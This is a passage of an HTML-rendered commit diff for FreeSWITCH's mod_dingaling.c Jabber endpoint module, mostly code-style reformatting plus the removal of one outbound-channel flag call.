+++ freeswitch/trunk/src/mod/endpoints/mod_dingaling/mod_dingaling.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -206,7 +206,8 @@
</span><span class="cx"> static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
</span><span class="cx"> static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                         switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                        switch_call_cause_t *cancel_cause);
</ins><span class="cx"> static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
</span><span class="lines">@@ -459,7 +460,8 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         sql =
</span><del>-                switch_mprintf(&quot;select sub_from, sub_to,'%q','%q','%q','%q' from jabber_subscriptions where sub_to = '%q%q'&quot;, type, rpid, status, proto, pstr, from);
</del><ins>+                switch_mprintf(&quot;select sub_from, sub_to,'%q','%q','%q','%q' from jabber_subscriptions where sub_to = '%q%q'&quot;, type, rpid, status, proto, pstr,
+                                           from);
</ins><span class="cx"> 
</span><span class="cx">         for (hi = switch_hash_first(NULL, globals.profile_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                 switch_hash_this(hi, NULL, NULL, &amp;val);
</span><span class="lines">@@ -485,7 +487,7 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t chat_send(const char *proto, const char *from, const char *to, const char *subject,
</span><del>-                                 const char *body, const char *type, const char *hint)
</del><ins>+                                                                 const char *body, const char *type, const char *hint)
</ins><span class="cx"> {
</span><span class="cx">         char *user, *host, *f_user = NULL, *ffrom = NULL, *f_host = NULL, *f_resource = NULL;
</span><span class="cx">         mdl_profile_t *profile = NULL;
</span><span class="lines">@@ -518,7 +520,7 @@
</span><span class="cx">                                         *p = '\0';
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        ldl_handle_send_msg(profile-&gt;handle, (char*)from, (char*)to, NULL, switch_str_nil(body));
</del><ins>+                        ldl_handle_send_msg(profile-&gt;handle, (char *) from, (char *) to, NULL, switch_str_nil(body));
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Invalid Profile %s\n&quot;, f_host ? f_host : &quot;NULL&quot;);
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -699,7 +701,8 @@
</span><span class="cx">                 switch_channel_state_t state = switch_channel_get_state(channel);
</span><span class="cx">                 struct private_object *tech_pvt = NULL;
</span><span class="cx"> 
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*session), SWITCH_LOG_DEBUG, &quot;Terminate called from line %d state=%s\n&quot;, line, switch_channel_state_name(state));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*session), SWITCH_LOG_DEBUG, &quot;Terminate called from line %d state=%s\n&quot;, line,
+                                                  switch_channel_state_name(state));
</ins><span class="cx"> 
</span><span class="cx">                 tech_pvt = switch_core_session_get_private(*session);
</span><span class="cx"> 
</span><span class="lines">@@ -874,10 +877,9 @@
</span><span class="cx">         switch_core_session_set_read_codec(tech_pvt-&gt;session, &amp;tech_pvt-&gt;read_codec);
</span><span class="cx">         switch_core_session_set_write_codec(tech_pvt-&gt;session, &amp;tech_pvt-&gt;write_codec);
</span><span class="cx"> 
</span><del>-        if (globals.auto_nat &amp;&amp; tech_pvt-&gt;profile-&gt;local_network &amp;&amp; 
-           !switch_check_network_list_ip(tech_pvt-&gt;remote_ip, tech_pvt-&gt;profile-&gt;local_network)) {
</del><ins>+        if (globals.auto_nat &amp;&amp; tech_pvt-&gt;profile-&gt;local_network &amp;&amp; !switch_check_network_list_ip(tech_pvt-&gt;remote_ip, tech_pvt-&gt;profile-&gt;local_network)) {
</ins><span class="cx">                 switch_port_t external_port = 0;
</span><del>-                switch_nat_add_mapping((switch_port_t)tech_pvt-&gt;local_port, SWITCH_NAT_UDP, &amp;external_port, SWITCH_FALSE);
</del><ins>+                switch_nat_add_mapping((switch_port_t) tech_pvt-&gt;local_port, SWITCH_NAT_UDP, &amp;external_port, SWITCH_FALSE);
</ins><span class="cx">                 tech_pvt-&gt;local_port = external_port;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -885,8 +887,8 @@
</span><span class="cx">                                           tech_pvt-&gt;local_port, tech_pvt-&gt;remote_ip, tech_pvt-&gt;remote_port);
</span><span class="cx"> 
</span><span class="cx">         flags = SWITCH_RTP_FLAG_DATAWAIT | SWITCH_RTP_FLAG_GOOGLEHACK | SWITCH_RTP_FLAG_AUTOADJ | SWITCH_RTP_FLAG_RAW_WRITE | SWITCH_RTP_FLAG_AUTO_CNG;
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         if (switch_test_flag(tech_pvt-&gt;profile, TFLAG_TIMER)) {
</span><span class="cx">                 flags |= SWITCH_RTP_FLAG_USE_TIMER;
</span><span class="cx">         }
</span><span class="lines">@@ -973,11 +975,13 @@
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 cand[0].address = tech_pvt-&gt;profile-&gt;ip;
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;Stun Lookup Local %s:%d\n&quot;, cand[0].address, cand[0].port);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;Stun Lookup Local %s:%d\n&quot;, cand[0].address,
+                                                                  cand[0].port);
</ins><span class="cx">                                 if (switch_stun_lookup
</span><span class="cx">                                         (&amp;cand[0].address, &amp;cand[0].port, stun_ip, SWITCH_STUN_DEFAULT_PORT, &amp;err,
</span><span class="cx">                                          switch_core_session_get_pool(tech_pvt-&gt;session)) != SWITCH_STATUS_SUCCESS) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_ERROR, &quot;Stun Failed! %s:%d [%s]\n&quot;, stun_ip, SWITCH_STUN_DEFAULT_PORT, err);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_ERROR, &quot;Stun Failed! %s:%d [%s]\n&quot;, stun_ip,
+                                                                          SWITCH_STUN_DEFAULT_PORT, err);
</ins><span class="cx">                                         switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                                         return 0;
</span><span class="cx">                                 }
</span><span class="lines">@@ -995,7 +999,8 @@
</span><span class="cx">                 cand[0].password = tech_pvt-&gt;local_pass;
</span><span class="cx">                 cand[0].pref = 1;
</span><span class="cx">                 cand[0].protocol = &quot;udp&quot;;
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;Send Candidate %s:%d [%s]\n&quot;, cand[0].address, cand[0].port, cand[0].username);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;Send Candidate %s:%d [%s]\n&quot;, cand[0].address, cand[0].port,
+                                                  cand[0].username);
</ins><span class="cx">                 tech_pvt-&gt;cand_id = ldl_session_candidates(tech_pvt-&gt;dlsession, cand, 1);
</span><span class="cx">                 switch_set_flag_locked(tech_pvt, TFLAG_TRANSPORT);
</span><span class="cx">                 switch_set_flag_locked(tech_pvt, TFLAG_RTP_READY);
</span><span class="lines">@@ -1232,9 +1237,8 @@
</span><span class="cx">                         tech_pvt-&gt;rtp_session = NULL;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                if (globals.auto_nat &amp;&amp; tech_pvt-&gt;profile-&gt;local_network &amp;&amp; 
-                   !switch_check_network_list_ip(tech_pvt-&gt;remote_ip, tech_pvt-&gt;profile-&gt;local_network)) {
-                        switch_nat_del_mapping((switch_port_t)tech_pvt-&gt;local_port, SWITCH_NAT_UDP);
</del><ins>+                if (globals.auto_nat &amp;&amp; tech_pvt-&gt;profile-&gt;local_network &amp;&amp; !switch_check_network_list_ip(tech_pvt-&gt;remote_ip, tech_pvt-&gt;profile-&gt;local_network)) {
+                        switch_nat_del_mapping((switch_port_t) tech_pvt-&gt;local_port, SWITCH_NAT_UDP);
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (switch_core_codec_ready(&amp;tech_pvt-&gt;read_codec)) {
</span><span class="lines">@@ -1593,12 +1597,12 @@
</span><span class="cx">         /*.on_hangup */ channel_on_hangup,
</span><span class="cx">         /*.on_exchange_media */ channel_on_exchange_media,
</span><span class="cx">         /*.on_soft_execute */ channel_on_soft_execute,
</span><del>-        /*.on_consume_media*/ NULL,
-    /*.on_hibernate*/ NULL,
-    /*.on_reset*/ NULL,
-    /*.on_park*/ NULL,
-    /*.on_reporting*/ NULL,
-    /*.on_destroy*/ channel_on_destroy
</del><ins>+        /*.on_consume_media */ NULL,
+        /*.on_hibernate */ NULL,
+        /*.on_reset */ NULL,
+        /*.on_park */ NULL,
+        /*.on_reporting */ NULL,
+        /*.on_destroy */ channel_on_destroy
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> switch_io_routines_t dingaling_io_routines = {
</span><span class="lines">@@ -1618,7 +1622,8 @@
</span><span class="cx"> */
</span><span class="cx"> static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                         switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                        switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><span class="cx">         if ((*new_session = switch_core_session_request(dingaling_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
</span><span class="cx">                 struct private_object *tech_pvt;
</span><span class="lines">@@ -1686,7 +1691,8 @@
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         if (mdl_profile-&gt;purge) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Profile '%s' is marked for deletion, disallowing outgoing call\n&quot;, mdl_profile-&gt;name);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Profile '%s' is marked for deletion, disallowing outgoing call\n&quot;,
+                                                                  mdl_profile-&gt;name);
</ins><span class="cx">                                 terminate_session(new_session, __LINE__, SWITCH_CAUSE_NORMAL_UNSPECIFIED);
</span><span class="cx">                                 return SWITCH_CAUSE_NORMAL_UNSPECIFIED;
</span><span class="cx">                         }
</span><span class="lines">@@ -1754,7 +1760,6 @@
</span><span class="cx">                         return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                switch_channel_set_flag(channel, CF_OUTBOUND);
</del><span class="cx">                 switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
</span><span class="cx"> 
</span><span class="cx">                 switch_stun_random_string(sess_id, 10, &quot;0123456789&quot;);
</span><span class="lines">@@ -1811,7 +1816,7 @@
</span><span class="cx">         switch_api_interface_t *api_interface;
</span><span class="cx"> 
</span><span class="cx">         module_pool = pool;
</span><del>-        
</del><ins>+
</ins><span class="cx">         memset(&amp;globals, 0, sizeof(globals));
</span><span class="cx"> 
</span><span class="cx">         load_config();
</span><span class="lines">@@ -1831,17 +1836,20 @@
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_IN, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &amp;globals.in_node) != SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_IN, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &amp;globals.in_node) !=
+                SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Couldn't bind!\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &amp;globals.probe_node) != SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &amp;globals.probe_node) !=
+                SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Couldn't bind!\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_OUT, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &amp;globals.out_node) != SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_OUT, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &amp;globals.out_node) !=
+                SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Couldn't bind!\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><span class="lines">@@ -1857,7 +1865,7 @@
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">         dingaling_endpoint_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_ENDPOINT_INTERFACE);
</span><span class="lines">@@ -1903,13 +1911,10 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
</span><span class="cx">                                                   &quot;Invalid Profile\n&quot; &quot;login[%s]\n&quot; &quot;pass[%s]\n&quot; &quot;dialplan[%s]\n&quot;
</span><span class="cx">                                                   &quot;message[%s]\n&quot; &quot;rtp-ip[%s]\n&quot; &quot;name[%s]\n&quot; &quot;exten[%s]\n&quot;,
</span><del>-                                                  switch_str_nil(profile-&gt;login), 
-                                                  switch_str_nil(profile-&gt;password), 
-                                                  switch_str_nil(profile-&gt;dialplan), 
-                                                  switch_str_nil(profile-&gt;message), 
-                                                  switch_str_nil(profile-&gt;ip), 
-                                                  switch_str_nil(profile-&gt;name), 
-                                                  switch_str_nil(profile-&gt;exten));
</del><ins>+                                                  switch_str_nil(profile-&gt;login),
+                                                  switch_str_nil(profile-&gt;password),
+                                                  switch_str_nil(profile-&gt;dialplan),
+                                                  switch_str_nil(profile-&gt;message), switch_str_nil(profile-&gt;ip), switch_str_nil(profile-&gt;name), switch_str_nil(profile-&gt;exten));
</ins><span class="cx"> 
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="lines">@@ -1976,8 +1981,8 @@
</span><span class="cx"> 
</span><span class="cx">         switch_safe_free(globals.dialplan);
</span><span class="cx">         switch_safe_free(globals.codec_string);
</span><del>-        switch_safe_free(globals.codec_rates_string);        
-        
</del><ins>+        switch_safe_free(globals.codec_rates_string);
+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -2160,7 +2165,8 @@
</span><span class="cx">         switch_hash_index_t *hi;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx"> 
</span><del>-        if (session) return status;
</del><ins>+        if (session)
+                return status;
</ins><span class="cx"> 
</span><span class="cx">         if (zstr(cmd) || !(myarg = strdup(cmd))) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;USAGE: %s\n&quot;, DINGALING_SYNTAX);
</span><span class="lines">@@ -2179,9 +2185,9 @@
</span><span class="cx">                         switch_hash_this(hi, NULL, NULL, &amp;val);
</span><span class="cx">                         profile = (mdl_profile_t *) val;
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;%s        |        &quot;, profile-&gt;login);
</span><del>-                        if (profile-&gt;handle &amp;&amp; ldl_handle_authorized(profile-&gt;handle)){
</del><ins>+                        if (profile-&gt;handle &amp;&amp; ldl_handle_authorized(profile-&gt;handle)) {
</ins><span class="cx">                                 stream-&gt;write_function(stream, &quot;AUTHORIZED&quot;);
</span><del>-                        } else if (profile-&gt;handle &amp;&amp; ldl_handle_connected(profile-&gt;handle)){
</del><ins>+                        } else if (profile-&gt;handle &amp;&amp; ldl_handle_connected(profile-&gt;handle)) {
</ins><span class="cx">                                 stream-&gt;write_function(stream, &quot;CONNECTED&quot;);
</span><span class="cx">                         } else {
</span><span class="cx">                                 stream-&gt;write_function(stream, &quot;UNCONNECTED&quot;);
</span><span class="lines">@@ -2195,7 +2201,7 @@
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;USAGE: %s\n&quot;, DINGALING_SYNTAX);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-done:
</del><ins>+  done:
</ins><span class="cx">         switch_safe_free(myarg);
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -2261,7 +2267,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;FAIL\n&quot;);
</span><span class="cx">         }
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx">         switch_safe_free(myarg);
</span><span class="cx"> 
</span><span class="cx">         return status;
</span><span class="lines">@@ -2274,56 +2280,53 @@
</span><span class="cx">                 return SWITCH_TRUE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (
-        ((!new_profile-&gt;name &amp;&amp; !profile-&gt;name) || 
-         (new_profile-&gt;name &amp;&amp; profile-&gt;name &amp;&amp; !strcasecmp(new_profile-&gt;name, profile-&gt;name))) &amp;&amp;
-        ((!new_profile-&gt;login &amp;&amp; !profile-&gt;login) || 
-         (new_profile-&gt;login &amp;&amp; profile-&gt;login &amp;&amp; !strcasecmp(new_profile-&gt;login, profile-&gt;login))) &amp;&amp;
-        ((!new_profile-&gt;password &amp;&amp; !profile-&gt;password) || 
-         (new_profile-&gt;password &amp;&amp; profile-&gt;password &amp;&amp; !strcasecmp(new_profile-&gt;password, profile-&gt;password))) &amp;&amp;
-        ((!new_profile-&gt;message &amp;&amp; !profile-&gt;message) || 
-         (new_profile-&gt;message &amp;&amp; profile-&gt;message &amp;&amp; !strcasecmp(new_profile-&gt;message, profile-&gt;message))) &amp;&amp;
-        ((!new_profile-&gt;avatar &amp;&amp; !profile-&gt;avatar) || 
-         (new_profile-&gt;avatar &amp;&amp; profile-&gt;avatar &amp;&amp; !strcasecmp(new_profile-&gt;avatar, profile-&gt;avatar))) &amp;&amp;
</del><ins>+        if (((!new_profile-&gt;name &amp;&amp; !profile-&gt;name) ||
+                 (new_profile-&gt;name &amp;&amp; profile-&gt;name &amp;&amp; !strcasecmp(new_profile-&gt;name, profile-&gt;name))) &amp;&amp;
+                ((!new_profile-&gt;login &amp;&amp; !profile-&gt;login) ||
+                 (new_profile-&gt;login &amp;&amp; profile-&gt;login &amp;&amp; !strcasecmp(new_profile-&gt;login, profile-&gt;login))) &amp;&amp;
+                ((!new_profile-&gt;password &amp;&amp; !profile-&gt;password) ||
+                 (new_profile-&gt;password &amp;&amp; profile-&gt;password &amp;&amp; !strcasecmp(new_profile-&gt;password, profile-&gt;password))) &amp;&amp;
+                ((!new_profile-&gt;message &amp;&amp; !profile-&gt;message) ||
+                 (new_profile-&gt;message &amp;&amp; profile-&gt;message &amp;&amp; !strcasecmp(new_profile-&gt;message, profile-&gt;message))) &amp;&amp;
+                ((!new_profile-&gt;avatar &amp;&amp; !profile-&gt;avatar) || (new_profile-&gt;avatar &amp;&amp; profile-&gt;avatar &amp;&amp; !strcasecmp(new_profile-&gt;avatar, profile-&gt;avatar))) &amp;&amp;
</ins><span class="cx"> #ifdef AUTO_REPLY
</span><del>-        ((!new_profile-&gt;auto_reply &amp;&amp; !profile-&gt;auto_reply) || 
-         (new_profile-&gt;auto_reply &amp;&amp; profile-&gt;auto_reply &amp;&amp; !strcasecmp(new_profile-&gt;auto_reply, profile-&gt;auto_reply))) &amp;&amp;
</del><ins>+                ((!new_profile-&gt;auto_reply &amp;&amp; !profile-&gt;auto_reply) ||
+                 (new_profile-&gt;auto_reply &amp;&amp; profile-&gt;auto_reply &amp;&amp; !strcasecmp(new_profile-&gt;auto_reply, profile-&gt;auto_reply))) &amp;&amp;
</ins><span class="cx"> #endif
</span><del>-        ((!new_profile-&gt;dialplan &amp;&amp; !profile-&gt;dialplan) || 
-         (new_profile-&gt;dialplan &amp;&amp; profile-&gt;dialplan &amp;&amp; !strcasecmp(new_profile-&gt;dialplan, profile-&gt;dialplan))) &amp;&amp;
-        ((!new_profile-&gt;local_network &amp;&amp; !profile-&gt;local_network) || 
-         (new_profile-&gt;local_network &amp;&amp; profile-&gt;local_network &amp;&amp; !strcasecmp(new_profile-&gt;local_network, profile-&gt;local_network))) &amp;&amp;
-        ((!new_profile-&gt;ip &amp;&amp; !profile-&gt;ip) || 
-         (new_profile-&gt;ip &amp;&amp; profile-&gt;ip &amp;&amp; !strcasecmp(new_profile-&gt;ip, profile-&gt;ip))) &amp;&amp;
-        ((!new_profile-&gt;extip &amp;&amp; !profile-&gt;extip) || 
-         (new_profile-&gt;extip &amp;&amp; profile-&gt;extip &amp;&amp; !strcasecmp(new_profile-&gt;extip, profile-&gt;extip))) &amp;&amp;
-        ((!new_profile-&gt;server &amp;&amp; !profile-&gt;server) || 
-         (new_profile-&gt;server &amp;&amp; profile-&gt;server &amp;&amp; !strcasecmp(new_profile-&gt;server, profile-&gt;server))) &amp;&amp;
-        ((!new_profile-&gt;timer_name &amp;&amp; !profile-&gt;timer_name) || 
-         (new_profile-&gt;timer_name &amp;&amp; profile-&gt;timer_name &amp;&amp; !strcasecmp(new_profile-&gt;timer_name, profile-&gt;timer_name))) &amp;&amp;
-        ((!new_profile-&gt;lanaddr &amp;&amp; !profile-&gt;lanaddr) || 
-         (new_profile-&gt;lanaddr &amp;&amp; profile-&gt;lanaddr &amp;&amp; !strcasecmp(new_profile-&gt;lanaddr, profile-&gt;lanaddr))) &amp;&amp;
-        ((!new_profile-&gt;exten &amp;&amp; !profile-&gt;exten) || 
-         (new_profile-&gt;exten &amp;&amp; profile-&gt;exten &amp;&amp; !strcasecmp(new_profile-&gt;exten, profile-&gt;exten))) &amp;&amp;
-        ((!new_profile-&gt;context &amp;&amp; !profile-&gt;context) || 
-         (new_profile-&gt;context &amp;&amp; profile-&gt;context &amp;&amp; !strcasecmp(new_profile-&gt;context, profile-&gt;context))) &amp;&amp;
-        (new_profile-&gt;user_flags == profile-&gt;user_flags) &amp;&amp; (new_profile-&gt;acl_count == profile-&gt;acl_count)
-        ) {
</del><ins>+                ((!new_profile-&gt;dialplan &amp;&amp; !profile-&gt;dialplan) ||
+                 (new_profile-&gt;dialplan &amp;&amp; profile-&gt;dialplan &amp;&amp; !strcasecmp(new_profile-&gt;dialplan, profile-&gt;dialplan))) &amp;&amp;
+                ((!new_profile-&gt;local_network &amp;&amp; !profile-&gt;local_network) ||
+                 (new_profile-&gt;local_network &amp;&amp; profile-&gt;local_network &amp;&amp; !strcasecmp(new_profile-&gt;local_network, profile-&gt;local_network))) &amp;&amp;
+                ((!new_profile-&gt;ip &amp;&amp; !profile-&gt;ip) ||
+                 (new_profile-&gt;ip &amp;&amp; profile-&gt;ip &amp;&amp; !strcasecmp(new_profile-&gt;ip, profile-&gt;ip))) &amp;&amp;
+                ((!new_profile-&gt;extip &amp;&amp; !profile-&gt;extip) ||
+                 (new_profile-&gt;extip &amp;&amp; profile-&gt;extip &amp;&amp; !strcasecmp(new_profile-&gt;extip, profile-&gt;extip))) &amp;&amp;
+                ((!new_profile-&gt;server &amp;&amp; !profile-&gt;server) ||
+                 (new_profile-&gt;server &amp;&amp; profile-&gt;server &amp;&amp; !strcasecmp(new_profile-&gt;server, profile-&gt;server))) &amp;&amp;
+                ((!new_profile-&gt;timer_name &amp;&amp; !profile-&gt;timer_name) ||
+                 (new_profile-&gt;timer_name &amp;&amp; profile-&gt;timer_name &amp;&amp; !strcasecmp(new_profile-&gt;timer_name, profile-&gt;timer_name))) &amp;&amp;
+                ((!new_profile-&gt;lanaddr &amp;&amp; !profile-&gt;lanaddr) ||
+                 (new_profile-&gt;lanaddr &amp;&amp; profile-&gt;lanaddr &amp;&amp; !strcasecmp(new_profile-&gt;lanaddr, profile-&gt;lanaddr))) &amp;&amp;
+                ((!new_profile-&gt;exten &amp;&amp; !profile-&gt;exten) ||
+                 (new_profile-&gt;exten &amp;&amp; profile-&gt;exten &amp;&amp; !strcasecmp(new_profile-&gt;exten, profile-&gt;exten))) &amp;&amp;
+                ((!new_profile-&gt;context &amp;&amp; !profile-&gt;context) ||
+                 (new_profile-&gt;context &amp;&amp; profile-&gt;context &amp;&amp; !strcasecmp(new_profile-&gt;context, profile-&gt;context))) &amp;&amp;
+                (new_profile-&gt;user_flags == profile-&gt;user_flags) &amp;&amp; (new_profile-&gt;acl_count == profile-&gt;acl_count)
+                ) {
</ins><span class="cx">                 uint32_t i;
</span><span class="cx">                 if (switch_odbc_available()) {
</span><del>-                        if (!(
-                        ((!new_profile-&gt;odbc_dsn &amp;&amp; !profile-&gt;odbc_dsn) || 
-                         (new_profile-&gt;odbc_dsn &amp;&amp; profile-&gt;odbc_dsn &amp;&amp; !strcasecmp(new_profile-&gt;odbc_dsn, profile-&gt;odbc_dsn))) &amp;&amp;
-                        ((!new_profile-&gt;odbc_user &amp;&amp; !profile-&gt;odbc_user) || 
-                         (new_profile-&gt;odbc_user &amp;&amp; profile-&gt;odbc_user &amp;&amp; !strcasecmp(new_profile-&gt;odbc_user, profile-&gt;odbc_user))) &amp;&amp;
-                        ((!new_profile-&gt;odbc_pass &amp;&amp; !profile-&gt;odbc_pass) || 
-                         (new_profile-&gt;odbc_pass &amp;&amp; profile-&gt;odbc_pass &amp;&amp; !strcasecmp(new_profile-&gt;odbc_pass, profile-&gt;odbc_pass)))
-                        )) {
</del><ins>+                        if (!(((!new_profile-&gt;odbc_dsn &amp;&amp; !profile-&gt;odbc_dsn) ||
+                                   (new_profile-&gt;odbc_dsn &amp;&amp; profile-&gt;odbc_dsn &amp;&amp; !strcasecmp(new_profile-&gt;odbc_dsn, profile-&gt;odbc_dsn))) &amp;&amp;
+                                  ((!new_profile-&gt;odbc_user &amp;&amp; !profile-&gt;odbc_user) ||
+                                   (new_profile-&gt;odbc_user &amp;&amp; profile-&gt;odbc_user &amp;&amp; !strcasecmp(new_profile-&gt;odbc_user, profile-&gt;odbc_user))) &amp;&amp;
+                                  ((!new_profile-&gt;odbc_pass &amp;&amp; !profile-&gt;odbc_pass) ||
+                                   (new_profile-&gt;odbc_pass &amp;&amp; profile-&gt;odbc_pass &amp;&amp; !strcasecmp(new_profile-&gt;odbc_pass, profile-&gt;odbc_pass)))
+                                )) {
</ins><span class="cx">                                 return SWITCH_FALSE;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                for(i=0; i&lt;new_profile-&gt;acl_count; i++) {
</del><ins>+                for (i = 0; i &lt; new_profile-&gt;acl_count; i++) {
</ins><span class="cx">                         if (strcasecmp(new_profile-&gt;acl[i], profile-&gt;acl[i]) != 0) {
</span><span class="cx">                                 return SWITCH_FALSE;
</span><span class="cx">                         }
</span><span class="lines">@@ -2333,7 +2336,7 @@
</span><span class="cx">         return SWITCH_TRUE;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t destroy_profile(char *name) 
</del><ins>+static switch_status_t destroy_profile(char *name)
</ins><span class="cx"> {
</span><span class="cx">         mdl_profile_t *profile = NULL;
</span><span class="cx"> 
</span><span class="lines">@@ -2374,7 +2377,7 @@
</span><span class="cx"> {
</span><span class="cx">         char *cf = &quot;dingaling.conf&quot;;
